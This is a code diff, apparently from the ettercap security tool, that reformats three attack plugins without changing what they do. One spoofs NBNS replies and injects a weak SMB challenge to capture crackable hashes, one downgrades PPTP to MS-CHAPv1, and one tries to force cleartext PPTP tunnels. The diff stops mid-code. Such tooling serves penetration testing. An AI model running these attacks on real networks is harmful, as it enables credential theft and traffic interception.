*/ #define NM_RD_BIT 0x0100 /* Recursion Desired */ @@ -67,107 +65,102 @@ /* Return Codes */ #define RCODE_POS_RSP 0x0000 /* Positive Response */ #define RCODE_FMT_ERR 0x0001 /* Format Error */ -#define RCODE_SRV_ERR 0x0002 /* Server failure */ -#define RCODE_NAM_ERR 0x0003 /* Name Not Found */ +#define RCODE_SRV_ERR 0x0002 /* Server failure */ +#define RCODE_NAM_ERR 0x0003 /* Name Not Found */ #define RCODE_IMP_ERR 0x0004 /* Unsupported request */ #define RCODE_RFS_ERR 0x0005 /* Refused */ #define RCODE_ACT_ERR 0x0006 /* Active error */ #define RCODE_CFT_ERR 0x0007 /* Name in conflict */ #define RCODE_MASK 0x0007 /* Mask */ - - struct nbns_header { - u_int16 transactid; /* Transaction ID */ + u_int16 transactid; /* Transaction ID */ #ifdef WORDS_BIGENDIAN - u_char response: 1; /* response or query */ - u_char opcode: 4; /* opcode */ - /* nm_flags */ - u_char aa: 1; - u_char tc: 1; - u_char rd: 1; - u_char ra: 1; - u_char unused: 2; - u_char broadcast: 1; - u_char rcode: 4; /* RCODE */ + u_char response : 1; /* response or query */ + u_char opcode : 4; /* opcode */ + /* nm_flags */ + u_char aa : 1; + u_char tc : 1; + u_char rd : 1; + u_char ra : 1; + u_char unused : 2; + u_char broadcast : 1; + u_char rcode : 4; /* RCODE */ #else - u_char rd: 1; - u_char tc: 1; - u_char aa: 1; - u_char opcode: 4; - u_char response: 1; - u_char rcode: 4; - u_char broadcast: 1; - u_char unused: 2; - u_char ra: 1; + u_char rd : 1; + u_char tc : 1; + u_char aa : 1; + u_char opcode : 4; + u_char response : 1; + u_char rcode : 4; + u_char broadcast : 1; + u_char unused : 2; + u_char ra : 1; #endif - u_int16 qd_count; /* QDCOUNT */ - u_int16 an_count; /* AN_COUNT */ - u_int16 ns_count; /* NS_COUNT */ - u_int16 ar_count; /* AR_COUNT */ + u_int16 qd_count; /* QDCOUNT */ + u_int16 an_count; /* AN_COUNT */ + u_int16 ns_count; /* NS_COUNT */ + u_int16 ar_count; /* AR_COUNT */ }; /** NBNS rdata field */ struct nbns_rdata { - u_int16 len; - u_int16 nbflags; - u_int32 addr; + u_int16 len; + u_int16 nbflags; + u_int32 addr; }; #define NBNS_MSGLEN_QUERY_RESPONSE 70 -#define NBNS_TTL_POS 12+1+NBNS_NAME_LEN+1+2+2 +#define NBNS_TTL_POS 12 + 1 + NBNS_NAME_LEN + 1 + 2 + 2 #define NBNS_RDATA_POS NBNS_TTL_POS + 2 #define NBNS_QUERY_POS 12 struct nbns_query { - struct nbns_header header; - char question[NBNS_NAME_LEN]; - u_int16 type; - u_int16 class; + struct nbns_header header; + char question[NBNS_NAME_LEN]; + u_int16 type; + u_int16 class; }; struct nbns_response { - struct nbns_header header; - char rr_name[NBNS_NAME_LEN]; /* RR_NAME */ - u_int16 type; - u_int16 class; - u_int32 ttl; - struct nbns_rdata rr_data; + struct nbns_header header; + char rr_name[NBNS_NAME_LEN]; /* RR_NAME */ + u_int16 type; + u_int16 class; + u_int32 ttl; + struct nbns_rdata rr_data; }; - - struct nbns_spoof_entry { - char *name; - struct ip_addr ip; /* no ipv6 nbns */ - SLIST_ENTRY(nbns_spoof_entry) next; + char *name; + struct ip_addr ip; /* no ipv6 nbns */ + SLIST_ENTRY(nbns_spoof_entry) next; }; static SLIST_HEAD(, nbns_spoof_entry) nbns_spoof_head; -/* +/* * SMB portion */ typedef struct { - u_char proto[4]; - u_char cmd; - u_char err[4]; - u_char flags1; + u_char proto[4]; + u_char cmd; + u_char err[4]; + u_char flags1; u_short flags2; u_short pad[6]; u_short tid, pid, uid, mid; } SMB_header; typedef struct { - u_char mesg; - u_char flags; + u_char mesg; + u_char flags; u_short len; } NetBIOS_header; -#define IF_IN_PCK(x,y) if((x) >= y->packet && (x) < (y->packet + y->len) ) - +#define IF_IN_PCK(x, y) if ((x) >= y->packet && (x) < (y->packet + y->len)) /* protos */ int plugin_load(void *); @@ -183,119 +176,119 @@ static int get_spoofed_nbns(const char *a, struct ip_addr **ip); static void nbns_spoof_dump(void); struct plugin_ops nbns_spoof_ops = { - /* ettercap version must be the global EC_VERSION */ - .ettercap_version = EC_VERSION, - .name = "nbns_spoof", - .info = "Sends spoof NBNS replies & sends SMB challenges with custom challenge", - .version = "1.1", - .init = &nbns_spoof_init, - .fini = &nbns_spoof_fini, + /* ettercap version must be the global EC_VERSION */ + .ettercap_version = EC_VERSION, + .name = "nbns_spoof", + .info = "Sends spoof NBNS replies & sends SMB challenges with custom challenge", + .version = "1.1", + .init = &nbns_spoof_init, + .fini = &nbns_spoof_fini, }; int plugin_load(void *handle) { - if (load_db() != E_SUCCESS) - return -E_INVALID; + if (load_db() != E_SUCCESS) + return -E_INVALID; - nbns_spoof_dump(); - return plugin_register(handle, &nbns_spoof_ops); + nbns_spoof_dump(); + return plugin_register(handle, &nbns_spoof_ops); } static int nbns_spoof_init(void *dummy) { /* variable not used */ - (void) dummy; - - /* - * add the hook in the dissector - * this will pass only valid NBNS packets - */ - hook_add(HOOK_PROTO_NBNS, &nbns_spoof); - hook_add(HOOK_PROTO_SMB, &nbns_set_challenge); - hook_add(HOOK_PROTO_SMB_CMPLT, &nbns_print_jripper); - return PLUGIN_RUNNING; + (void)dummy; + + /* + * add the hook in the dissector + * this will pass only valid NBNS packets + */ + hook_add(HOOK_PROTO_NBNS, &nbns_spoof); + hook_add(HOOK_PROTO_SMB, &nbns_set_challenge); + hook_add(HOOK_PROTO_SMB_CMPLT, &nbns_print_jripper); + return PLUGIN_RUNNING; } static int nbns_spoof_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; - hook_del(HOOK_PROTO_NBNS, &nbns_spoof); - return PLUGIN_FINISHED; + hook_del(HOOK_PROTO_NBNS, &nbns_spoof); + return PLUGIN_FINISHED; } /* load database */ static int load_db(void) { - struct nbns_spoof_entry *d; - FILE *f; - char line[128]; - char *ptr, *ipstr, *name; - int lines = 0; - - f = open_data("etc", ETTER_NBNS, FOPEN_READ_TEXT); - - if (f == NULL) { - USER_MSG("Cannot open %s\n", ETTER_NBNS); return -E_INVALID; - } - - while (fgets(line, 128, f)) { - /* count lines */ - lines++; - if ((ptr = strchr(line, '#'))) - *ptr = '\0'; - - - /* skip empty lines */ - if (!*line || *line == '\r' || *line == '\n') - continue; - - /* strip apart the line */ - if (!parse_line(line, lines, &ipstr, &name)) - continue; - - /* create the entry */ - SAFE_CALLOC(d, 1, sizeof(struct nbns_spoof_entry)); - + struct nbns_spoof_entry *d; + FILE *f; + char line[128]; + char *ptr, *ipstr, *name; + int lines = 0; + + f = open_data("etc", ETTER_NBNS, FOPEN_READ_TEXT); + + if (f == NULL) { + USER_MSG("Cannot open %s\n", ETTER_NBNS); + return -E_INVALID; + } + + while (fgets(line, 128, f)) { + /* count lines */ + lines++; + if ((ptr = strchr(line, '#'))) + *ptr = '\0'; + + /* skip empty lines */ + if (!*line || *line == '\r' || *line == '\n') + continue; + + /* strip apart the line */ + if (!parse_line(line, lines, &ipstr, &name)) + continue; + + /* create the entry */ + SAFE_CALLOC(d, 1, sizeof(struct nbns_spoof_entry)); + /* convert IP string into ip_addr struct */ if (ip_addr_pton(ipstr, &d->ip) != E_SUCCESS) { - USER_MSG("%s:%d Invalid IP addres\n", ETTER_NBNS, lines); + USER_MSG("%s:%d Invalid IP addres\n", ETTER_NBNS, lines); SAFE_FREE(d); - continue; - } + continue; + } - d->name = strdup(name); - - /* insert to list */ - SLIST_INSERT_HEAD(&nbns_spoof_head, d, next); - } + d->name = strdup(name); - fclose(f); - return E_SUCCESS; -} + /* insert to list */ + SLIST_INSERT_HEAD(&nbns_spoof_head, d, next); + } + + fclose(f); + return E_SUCCESS; +} /* * Parse line on format " ". */ static int parse_line(const char *str, int line, char **ip_p, char **name_p) { - static char name[100+1]; - static char ip[20+1]; - - if(sscanf(str, "%100s %20[^\r\n# ]", name, ip) != 2) { - USER_MSG("%s:%d Invalid entry %s\n", ETTER_NBNS, line, str); - return(0); - } - - if (strchr(ip, ':')) { - USER_MSG("%s:%d IP address must be IPv4\n", ETTER_NBNS, line); - return(0); - } - - *name_p = name; - *ip_p = ip; - return (1); + static char name[100 + 1]; + static char ip[20 + 1]; + + if (sscanf(str, "%100s %20[^\r\n# ]", name, ip) != 2) { + USER_MSG("%s:%d Invalid entry %s\n", ETTER_NBNS, line, str); + return 0; + } + + if (strchr(ip, ':')) { + USER_MSG("%s:%d IP address must be IPv4\n", ETTER_NBNS, line); + return 0; + } + + *name_p = name; + *ip_p = ip; + return 1; } /* @@ -306,34 +299,34 @@ static int parse_line(const char *str, int line, char **ip_p, char **name_p) static void nbns_set_challenge(struct packet_object *po) { - u_char *ptr; - SMB_header *smb; - NetBIOS_header *NetBIOS; - - ptr = po->DATA.data; - u_int64 SMB_WEAK_CHALLENGE = 0x1122334455667788; - - NetBIOS = (NetBIOS_header *)ptr; - smb = (SMB_header *)(NetBIOS + 1); - - /* move to data */ - ptr = (u_char *)(smb + 1); - - if (memcmp(smb->proto, "\xffSMB", 4) != 0) - return; - - if (smb->cmd == 0x72 && FROM_SERVER("smb", po)) { - if (ptr[3] & 2) { - /* Check encryption key len */ - if (*ptr != 0) { - ptr += 3; /* Go to BLOB */ - //memcpy new challenge (8 bytes) to ptr - memset(ptr, (long)SMB_WEAK_CHALLENGE, 8); - po->flags |= PO_MODIFIED; /* calculate checksum */ - USER_MSG("nbns_spoof: Modified SMB challenge\n"); - } - } - } + u_char *ptr; + SMB_header *smb; + NetBIOS_header *NetBIOS; + + ptr = po->DATA.data; + u_int64 SMB_WEAK_CHALLENGE = 0x1122334455667788; + + NetBIOS = (NetBIOS_header *)ptr; + smb = (SMB_header *)(NetBIOS + 1); + + /* move to data */ + ptr = (u_char *)(smb + 1); + + if (memcmp(smb->proto, "\xffSMB", 4) != 0) + return; + + if (smb->cmd == 0x72 && FROM_SERVER("smb", po)) { + if (ptr[3] & 2) { + /* Check encryption key len */ + if (*ptr != 0) { + ptr += 3; /* Go to BLOB */ + // memcpy new challenge (8 bytes) to ptr + memset(ptr, (long)SMB_WEAK_CHALLENGE, 8); + po->flags |= PO_MODIFIED; /* calculate checksum */ + USER_MSG("nbns_spoof: Modified SMB challenge\n"); + } + } + } } /* @@ -343,152 +336,145 @@ static void nbns_set_challenge(struct packet_object *po) */ static void nbns_print_jripper(struct packet_object *po) { - //Domain = po->DISSECTOR.info - //User = po->DISSECTOR.user - //Pass = po->DISSECTOR.pass - - /* - * Thanks to the SMB dissector, po->DISSECTOR.pass contains everything we need but domain - */ - USER_MSG("%s%s\n", po->DISSECTOR.info, po->DISSECTOR.pass); + // Domain = po->DISSECTOR.info + // User = po->DISSECTOR.user + // Pass = po->DISSECTOR.pass + + /* + * Thanks to the SMB dissector, po->DISSECTOR.pass contains everything we need but domain + */ + USER_MSG("%s%s\n", po->DISSECTOR.info, po->DISSECTOR.pass); } -/* +/* * parse the packet and send the fake reply */ static void nbns_spoof(struct packet_object *po) { - struct nbns_query *nbns; - struct nbns_header *header; - char name[NBNS_DECODED_NAME_LEN]; - - //header = (struct nbns_header *)po->DATA.data; - nbns = (struct nbns_query *)po->DATA.data; - header = (struct nbns_header *)&nbns->header; + struct nbns_query *nbns; + struct nbns_header *header; + char name[NBNS_DECODED_NAME_LEN]; - if (header->response) { - /* We only want queries */ - return; - } + // header = (struct nbns_header *)po->DATA.data; + nbns = (struct nbns_query *)po->DATA.data; + header = (struct nbns_header *)&nbns->header; - if (ntohs(nbns->class) != CLASS_IN || ntohs(nbns->type) != TYPE_NB) { - /* We only handle internet class and NB type */ - return; - } + if (header->response) { + /* We only want queries */ + return; + } + if (ntohs(nbns->class) != CLASS_IN || ntohs(nbns->type) != TYPE_NB) { + /* We only handle internet class and NB type */ + return; + } - memset(name, '\0', NBNS_DECODED_NAME_LEN); - nbns_expand(nbns->question, name); + memset(name, '\0', NBNS_DECODED_NAME_LEN); + nbns_expand(nbns->question, name); - struct ip_addr *reply; - char tmp[MAX_ASCII_ADDR_LEN]; + struct ip_addr *reply; + char tmp[MAX_ASCII_ADDR_LEN]; - if (get_spoofed_nbns(name, &reply) != E_SUCCESS) - return; + if (get_spoofed_nbns(name, &reply) != E_SUCCESS) + return; - u_char *response; + u_char *response; - SAFE_CALLOC(response, NBNS_MSGLEN_QUERY_RESPONSE, sizeof(u_char)); + SAFE_CALLOC(response, NBNS_MSGLEN_QUERY_RESPONSE, sizeof(u_char)); if (po->DATA.len > 70) { - SAFE_FREE(response); - return; + SAFE_FREE(response); + return; } - memset(response, 0, NBNS_MSGLEN_QUERY_RESPONSE); - - memcpy(response, po->DATA.data, po->DATA.len); - - struct nbns_header *hdr = (struct nbns_header*)response; - - hdr->response = 1; - hdr->opcode = ntohs((OPCODE_R+OPCODE_QUERY) & OPCODE_MASK); - hdr->rcode = ntohs(0); - hdr->broadcast = ntohs(0); - hdr->an_count = ntohs(1); - hdr->qd_count = ntohs(0); - hdr->ra = 0; - hdr->rd = 0; - hdr->tc = 0; - hdr->aa = 1; - hdr->ns_count = ntohs(0); - hdr->ar_count = ntohs(0); - hdr->transactid = header->transactid; - - u_int16 *ttl1 = (u_int16*)(response+NBNS_TTL_POS); - u_int16 *ttl2 = (u_int16*)(response+NBNS_TTL_POS+2); - - *ttl1 = ntohs(0); - *ttl2 = ntohs(0); - - struct nbns_rdata *rdata = (struct nbns_rdata *) (response+NBNS_RDATA_POS); - - rdata->len = ntohs(2+sizeof(u_int32)); - rdata->nbflags = ntohs(0x0000); - rdata->addr = *reply->addr32; - - /* send fake reply */ - send_udp(&GBL_IFACE->ip, &po->L3.src, po->L2.src, po->L4.dst, po->L4.src, response, NBNS_MSGLEN_QUERY_RESPONSE); - USER_MSG("nbns_spoof: Query [%s] spoofed to [%s]\n", name, ip_addr_ntoa(reply, tmp)); - - /* Do not forward request */ - po->flags |= PO_DROPPED; - - SAFE_FREE(response); - -} + memset(response, 0, NBNS_MSGLEN_QUERY_RESPONSE); + + memcpy(response, po->DATA.data, po->DATA.len); + + struct nbns_header *hdr = (struct nbns_header *)response; + + hdr->response = 1; + hdr->opcode = ntohs((OPCODE_R + OPCODE_QUERY) & OPCODE_MASK); + hdr->rcode = ntohs(0); + hdr->broadcast = ntohs(0); + hdr->an_count = ntohs(1); + hdr->qd_count = ntohs(0); + hdr->ra = 0; + hdr->rd = 0; + hdr->tc = 0; + hdr->aa = 1; + hdr->ns_count = ntohs(0); + hdr->ar_count = ntohs(0); + hdr->transactid = header->transactid; + + u_int16 *ttl1 = (u_int16 *)(response + NBNS_TTL_POS); + u_int16 *ttl2 = (u_int16 *)(response + NBNS_TTL_POS + 2); + + *ttl1 = ntohs(0); + *ttl2 = ntohs(0); + struct nbns_rdata *rdata = (struct nbns_rdata *)(response + NBNS_RDATA_POS); + + rdata->len = ntohs(2 + sizeof(u_int32)); + rdata->nbflags = ntohs(0x0000); + rdata->addr = *reply->addr32; + + /* send fake reply */ + send_udp(&GBL_IFACE->ip, &po->L3.src, po->L2.src, po->L4.dst, po->L4.src, response, NBNS_MSGLEN_QUERY_RESPONSE); + USER_MSG("nbns_spoof: Query [%s] spoofed to [%s]\n", name, ip_addr_ntoa(reply, tmp)); + + /* Do not forward request */ + po->flags |= PO_DROPPED; + + SAFE_FREE(response); +} /* * return the ip address for the name */ static int get_spoofed_nbns(const char *a, struct ip_addr **ip) { - struct nbns_spoof_entry *n; + struct nbns_spoof_entry *n; - SLIST_FOREACH(n, &nbns_spoof_head, next) { - if (match_pattern(a, n->name)) { - *ip = &n->ip; - return E_SUCCESS; - } - } + SLIST_FOREACH(n, &nbns_spoof_head, next) { + if (match_pattern(a, n->name)) { + *ip = &n->ip; + return E_SUCCESS; + } + } - return -E_NOTFOUND; + return -E_NOTFOUND; } static void nbns_spoof_dump(void) { - struct nbns_spoof_entry *n; - DEBUG_MSG("nbns_spoof entries:"); - SLIST_FOREACH(n, &nbns_spoof_head, next) { - if(ntohs(n->ip.addr_type) == AF_INET) - { - DEBUG_MSG(" %s -> [%s]", n->name, int_ntoa(n->ip.addr32)); + struct nbns_spoof_entry *n; + DEBUG_MSG("nbns_spoof entries:"); + SLIST_FOREACH(n, &nbns_spoof_head, next) { + if (ntohs(n->ip.addr_type) == AF_INET) { + DEBUG_MSG(" %s -> [%s]", n->name, int_ntoa(n->ip.addr32)); } - } + } } static int nbns_expand(char *compressed, char *dst) { - //format compressed\00 - int len = 0; - int x=0; - char j, k; - - - for(len = 1; x < NBNS_NAME_LEN; len+=2){ - j = (compressed[len] & 0x3f)-1; - k = (compressed[len+1] & 0x3f)-1; - dst[x/2] = (j<<4)+(k); - x+=2; - } - - char *s = strstr(dst, " "); + // format compressed\00 + int len = 0; + int x = 0; + char j, k; + + for (len = 1; x < NBNS_NAME_LEN; len += 2) { + j = (compressed[len] & 0x3f) - 1; + k = (compressed[len + 1] & 0x3f) - 1; + dst[x / 2] = (j << 4) + (k); + x += 2; + } - if (s) - *s = '\0'; - return len; + char *s = strstr(dst, " "); + if (s) + *s = '\0'; + return len; } - // vim:ts=3:expandtab diff --git a/plug-ins/pptp_chapms1/pptp_chapms1.c b/plug-ins/pptp_chapms1/pptp_chapms1.c index cba89065f..93fc45a40 100644 --- a/plug-ins/pptp_chapms1/pptp_chapms1.c +++ b/plug-ins/pptp_chapms1/pptp_chapms1.c @@ -1,35 +1,33 @@ /* - pptp_chapms1 -- ettercap plugin -- Forces chapms-v1 from champs-v2 request - for PPTP (easier to crack) - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * pptp_chapms1 -- ettercap plugin -- Forces chapms-v1 from champs-v2 request + * for PPTP (easier to crack) + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include - struct ppp_lcp_header { - u_char code; - u_char ident; + u_char code; + u_char ident; u_int16 length; }; @@ -39,9 +37,9 @@ struct ppp_lcp_header { #define PPP_AUTH_REQUEST 0x03 #define PPP_REQUEST_CHAP 0xc223 -#define PPP_REQUEST_MSCHAP2 0x81 -#define PPP_REQUEST_MSCHAP1 0x80 -#define PPP_REQUEST_DUMMY 0xe7 +#define PPP_REQUEST_MSCHAP2 0x81 +#define PPP_REQUEST_MSCHAP1 0x80 +#define PPP_REQUEST_DUMMY 0xe7 /* protos */ int plugin_load(void *); @@ -49,38 +47,38 @@ static int pptp_chapms1_init(void *); static int pptp_chapms1_fini(void *); static void parse_ppp(struct packet_object *po); -static u_char *parse_option(u_char * buffer, u_char option, int16 tot_len); +static u_char *parse_option(u_char *buffer, u_char option, int16 tot_len); /* plugin operations */ -struct plugin_ops pptp_chapms1_ops = { +struct plugin_ops pptp_chapms1_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "pptp_chapms1", - /* a short description of the plugin (max 50 chars) */ - .info = "PPTP: Forces chapms-v1 from chapms-v2", - /* the plugin version. */ - .version = "1.0", + .name = "pptp_chapms1", + /* a short description of the plugin (max 50 chars) */ + .info = "PPTP: Forces chapms-v1 from chapms-v2", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &pptp_chapms1_init, - /* deactivation function */ - .fini = &pptp_chapms1_fini, + .init = &pptp_chapms1_init, + /* deactivation function */ + .fini = &pptp_chapms1_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &pptp_chapms1_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int pptp_chapms1_init(void *dummy) +static int pptp_chapms1_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { @@ -89,16 +87,15 @@ static int pptp_chapms1_init(void *dummy) } USER_MSG("pptp_chapms1: plugin running...\n"); - + hook_add(HOOK_PACKET_LCP, &parse_ppp); - return PLUGIN_RUNNING; + return PLUGIN_RUNNING; } - -static int pptp_chapms1_fini(void *dummy) +static int pptp_chapms1_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; USER_MSG("pptp_chapms1: plugin terminated...\n"); @@ -117,64 +114,62 @@ static void parse_ppp(struct packet_object *po) u_char *chcode; /* It is pointless to modify packets that won't be forwarded */ - if (!(po->flags & PO_FORWARDABLE)) - return; + if (!(po->flags & PO_FORWARDABLE)) + return; /* PPP decoder placed lcp header in L4 structure. - * According to the Hook Point this is an LCP packet. - */ + * According to the Hook Point this is an LCP packet. + */ lcp = (struct ppp_lcp_header *)po->L4.header; - /* Catch only packets that have to be modified */ - if ( lcp->code != PPP_CONFIGURE_REQUEST && lcp->code != PPP_CONFIGURE_NAK && lcp->code != PPP_CONFIGURE_REJ) + /* Catch only packets that have to be modified */ + if (lcp->code != PPP_CONFIGURE_REQUEST && lcp->code != PPP_CONFIGURE_NAK && lcp->code != PPP_CONFIGURE_REJ) return; - if ( (option=(u_int16 *)parse_option( (u_char *)(lcp + 1), PPP_AUTH_REQUEST, ntohs(lcp->length) - sizeof(*lcp))) ==NULL) + if ((option = (u_int16 *)parse_option((u_char *)(lcp + 1), PPP_AUTH_REQUEST, ntohs(lcp->length) - sizeof(*lcp))) == NULL) return; - - if ( option[1] != htons(PPP_REQUEST_CHAP) ) + + if (option[1] != htons(PPP_REQUEST_CHAP)) return; /* Take a look to chap kind of auth */ chcode = (u_char *)option; - /* Modify the negotiation */ + /* Modify the negotiation */ if (lcp->code == PPP_CONFIGURE_REQUEST && chcode[4] == PPP_REQUEST_MSCHAP2) { - chcode[4] = PPP_REQUEST_DUMMY; - + chcode[4] = PPP_REQUEST_DUMMY; + if (!ip_addr_null(&po->L3.dst) && !ip_addr_null(&po->L3.src)) { USER_MSG("pptp_chapms1: Forced PPP MS-CHAPv1 auth %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); } } - if (lcp->code == PPP_CONFIGURE_NAK && chcode[4] == PPP_REQUEST_MSCHAP2) + if (lcp->code == PPP_CONFIGURE_NAK && chcode[4] == PPP_REQUEST_MSCHAP2) chcode[4] = PPP_REQUEST_MSCHAP1; - - if (lcp->code == PPP_CONFIGURE_REJ && chcode[4] == PPP_REQUEST_DUMMY) + + if (lcp->code == PPP_CONFIGURE_REJ && chcode[4] == PPP_REQUEST_DUMMY) chcode[4] = PPP_REQUEST_MSCHAP2; } - /* Search an option in the packet */ -static u_char *parse_option(u_char * buffer, u_char option, int16 tot_len) +static u_char *parse_option(u_char *buffer, u_char option, int16 tot_len) { /* Avoid never-ending parsing on bogus packets ;) */ - char counter=0; - - while (tot_len>0 && *buffer!=option && counter<20) { + char counter = 0; + + while (tot_len > 0 && *buffer != option && counter < 20) { tot_len -= buffer[1]; buffer += buffer[1]; counter++; } - - if (*buffer == option) + + if (*buffer == option) return buffer; - + return NULL; } /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/pptp_clear/pptp_clear.c b/plug-ins/pptp_clear/pptp_clear.c index 14c71abe5..2439004f0 100644 --- a/plug-ins/pptp_clear/pptp_clear.c +++ b/plug-ins/pptp_clear/pptp_clear.c @@ -1,49 +1,46 @@ /* - pptp_clear -- ettercap plugin -- Tries to force PPTP cleartext connections - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * pptp_clear -- ettercap plugin -- Tries to force PPTP cleartext connections + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include - struct ppp_lcp_header { - u_char code; - u_char ident; + u_char code; + u_char ident; u_int16 length; }; #define PPP_CONFIGURE_REQUEST 0x01 -#define PPP_CONFIGURE_REJ 0x04 - -#define PPP_REQUEST_FCOMP 0x07 -#define PPP_REQUEST_ACOMP 0x08 -#define PPP_REQUEST_VJC 0x02 +#define PPP_CONFIGURE_REJ 0x04 -#define PPP_REQUEST_DUMMY1 0xe7 -#define PPP_REQUEST_DUMMY2 0x7e +#define PPP_REQUEST_FCOMP 0x07 +#define PPP_REQUEST_ACOMP 0x08 +#define PPP_REQUEST_VJC 0x02 -#define PPP_OBFUSCATE 0x30 +#define PPP_REQUEST_DUMMY1 0xe7 +#define PPP_REQUEST_DUMMY2 0x7e +#define PPP_OBFUSCATE 0x30 /* protos */ int plugin_load(void *); @@ -53,39 +50,39 @@ static int pptp_clear_fini(void *); static void parse_lcp(struct packet_object *po); static void parse_ecp(struct packet_object *po); static void parse_ipcp(struct packet_object *po); -static u_char *parse_option(u_char * buffer, u_char option, int16 tot_len); -static void obfuscate_options(u_char * buffer, int16 tot_len); +static u_char *parse_option(u_char *buffer, u_char option, int16 tot_len); +static void obfuscate_options(u_char *buffer, int16 tot_len); /* plugin operations */ -struct plugin_ops pptp_clear_ops = { +struct plugin_ops pptp_clear_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "pptp_clear", - /* a short description of the plugin (max 50 chars) */ - .info = "PPTP: Tries to force cleartext tunnel", - /* the plugin version. */ - .version = "1.0", + .name = "pptp_clear", + /* a short description of the plugin (max 50 chars) */ + .info = "PPTP: Tries to force cleartext tunnel", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &pptp_clear_init, - /* deactivation function */ - .fini = &pptp_clear_fini, + .init = &pptp_clear_init, + /* deactivation function */ + .fini = &pptp_clear_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &pptp_clear_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int pptp_clear_init(void *dummy) +static int pptp_clear_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { @@ -94,18 +91,17 @@ static int pptp_clear_init(void *dummy) } USER_MSG("pptp_clear: plugin running...\n"); - + hook_add(HOOK_PACKET_LCP, &parse_lcp); hook_add(HOOK_PACKET_ECP, &parse_ecp); hook_add(HOOK_PACKET_IPCP, &parse_ipcp); - return PLUGIN_RUNNING; + return PLUGIN_RUNNING; } - -static int pptp_clear_fini(void *dummy) +static int pptp_clear_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; USER_MSG("pptp_clear: plugin terminated...\n"); @@ -122,95 +118,91 @@ static void parse_lcp(struct packet_object *po) { struct ppp_lcp_header *lcp; u_char *option; - - if (!(po->flags & PO_FORWARDABLE)) - return; + + if (!(po->flags & PO_FORWARDABLE)) + return; lcp = (struct ppp_lcp_header *)po->L4.header; - if ( lcp->code == PPP_CONFIGURE_REQUEST) { - if ( (option = (u_char *)parse_option( (u_char *)(lcp + 1), PPP_REQUEST_FCOMP, ntohs(lcp->length)-sizeof(*lcp))) !=NULL) - option[0] = PPP_REQUEST_DUMMY1; - - if ( (option = (u_char *)parse_option( (u_char *)(lcp + 1), PPP_REQUEST_ACOMP, ntohs(lcp->length)-sizeof(*lcp))) !=NULL) - option[0] = PPP_REQUEST_DUMMY2; + if (lcp->code == PPP_CONFIGURE_REQUEST) { + if ((option = (u_char *)parse_option((u_char *)(lcp + 1), PPP_REQUEST_FCOMP, ntohs(lcp->length) - sizeof(*lcp))) != NULL) + option[0] = PPP_REQUEST_DUMMY1; + + if ((option = (u_char *)parse_option((u_char *)(lcp + 1), PPP_REQUEST_ACOMP, ntohs(lcp->length) - sizeof(*lcp))) != NULL) + option[0] = PPP_REQUEST_DUMMY2; } - if ( lcp->code == PPP_CONFIGURE_REJ) { - if ( (option = (u_char *)parse_option( (u_char *)(lcp + 1), PPP_REQUEST_DUMMY1, ntohs(lcp->length)-sizeof(*lcp))) !=NULL) - option[0] = PPP_REQUEST_FCOMP; - - if ( (option = (u_char 